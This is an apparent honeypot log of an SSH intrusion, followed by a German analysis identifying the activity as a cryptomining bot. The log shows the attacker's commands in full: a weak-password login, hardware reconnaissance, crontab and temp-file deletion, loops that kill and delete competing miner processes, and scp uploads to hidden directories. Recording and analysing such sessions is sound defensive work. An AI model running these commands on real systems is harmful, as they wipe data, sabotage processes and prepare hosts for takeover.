22.11.2026, 11:59 UTC · 949 Befehle · über ssh · Niederlande
user='ubuntu' pass='Qwer1234' ubuntu@srv01:~$ uname -s -v -n -r -m Linux web01 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:46:11 UTC 2023 x86_64 ubuntu@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Xeon E3-1200 v3/4th Gen Core Integrated Graphics Controller (rev 06) ubuntu@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Xeon(R) CPU E5-2650 v3 @ 2.30GHz ubuntu@srv01:~$ curl ipinfo.io/org AS14618 ubuntu@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found ubuntu@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found ubuntu@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 ubuntu@srv01:~$ uname -n | awk '{printf $1}' web01 ubuntu@srv01:~$ uname -r | awk '{printf $1}' 5.4.0-150-generic ubuntu@srv01:~$ crontab -r crontab: deleting crontab for guest ubuntu@srv01:~$ rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* rm: cannot remove '/tmp/.ICE-unix': Permission denied rm: cannot remove '/tmp/.X11-unix': Permission denied rm: cannot remove '/tmp/.XIM-unix': Permission denied ubuntu@srv01:~$ ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid bash: syntax error near unexpected token `read' ubuntu@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null bash: syntax error near unexpected token `readlink' ubuntu@srv01:~$ kill -9 $pid 2>/dev/null bash: pid: unbound variable ubuntu@srv01:~$ done bash: syntax error near unexpected token `done' ubuntu@srv01:~$ ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid bash: syntax error near unexpected token `read' ubuntu@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null bash: syntax error near unexpected token `readlink' ubuntu@srv01:~$ kill -9 $pid 2>/dev/null bash: pid: unbound variable ubuntu@srv01:~$ done bash: syntax error near unexpected token `done' ubuntu@srv01:~$ pidof cache | while read pid bash: syntax error near unexpected token `read' ubuntu@srv01:~$ do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null bash: syntax error near unexpected token `readlink' ubuntu@srv01:~$ kill -9 $pid 2>/dev/null bash: pid: unbound variable ubuntu@srv01:~$ done bash: syntax error near unexpected token `done' ubuntu@srv01:~$ for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done bash: syntax error near unexpected token `done' ubuntu@srv01:~$ pkill -9 $proc 2>/dev/null ubuntu@srv01:~$ done ubuntu@srv01:~$ rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null ubuntu@srv01:~$ echo Qwer1234 > /tmp/d.log ubuntu@srv01:~$ scp -qt "/var/tmp/hvxoHlPu" ubuntu@srv01:~$ scp -qt "/tmp/hvxoHlPu" ubuntu@srv01:~$ uname -s -v -n -r -m Linux web01 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:46:11 UTC 2023 x86_64 ubuntu@srv01:~$ scp -qt "/dev/shm/hvxoHlPu" ubuntu@srv01:~$ echo A1234567890 > /tmp/d.log ubuntu@srv01:~$ scp -qt "/var/tmp/VXlNZBhU" ubuntu@srv01:~$ uname -s -v -n -r -m Linux web01 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:46:11 UTC 2023 x86_64 ubuntu@srv01:~$ scp -qt "/dev/shm/VXlNZBhU" ubuntu@srv01:~$ uname -s -v -n -r -m Linux web01 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:46:11 UTC 2023 x86_64 ubuntu@srv01:~$ uname -s -v -n -r -m Linux web01 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:46:11 UTC 2023 x86_64 ubuntu@srv01:~$ uname -s -v -n -r -m Linux web01 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:46:11 UTC 2023 x86_64
Der Angreifer meldete sich über SSH mit einem einfachen Passwort an und führte eine Reihe von Befehlen zur Systemerkennung aus. Danach löschte er temporäre Dateien und beendete Prozesse, die auf Kryptomining hindeuteten. Abschließend versuchte er, Dateien in temporäre Verzeichnisse zu kopieren.
Die Befehle uname und lspci sammeln Informationen über das Betriebssystem und die Hardware, insbesondere Grafikkarten und Prozessoren. Die Abfrage von nvidia-smi prüft auf NVIDIA-GPUs, die für Mining relevant sind. Mit crontab -r und rm -rf werden geplante Aufgaben und temporäre Dateien gelöscht, um Spuren zu verwischen. Die ps aux Schleifen identifizieren und beenden Prozesse mit hoher CPU-Auslastung oder bekannten Mining-Namen wie xmrig. Das echo Kommando speichert das Passwort in einer Logdatei, während scp Dateien in versteckte temporäre Ordner kopiert.
Das Ziel war vermutlich die Installation eines Kryptominers oder die Übernahme des Systems als Botnet-Knoten. Dies erkennt man an der spezifischen Suche nach Mining-Software wie xmrig und der Bereinigung konkurrierender Prozesse. Der Versuch, Dateien via scp zu übertragen, deutet auf die Nachinstallation von Schadsoftware hin.
Dieses Vorgehen ist ein typisches Muster für automatisierte Mining-Bots, die bereits kompromittierte Systeme bereinigen und eigene Software nachladen.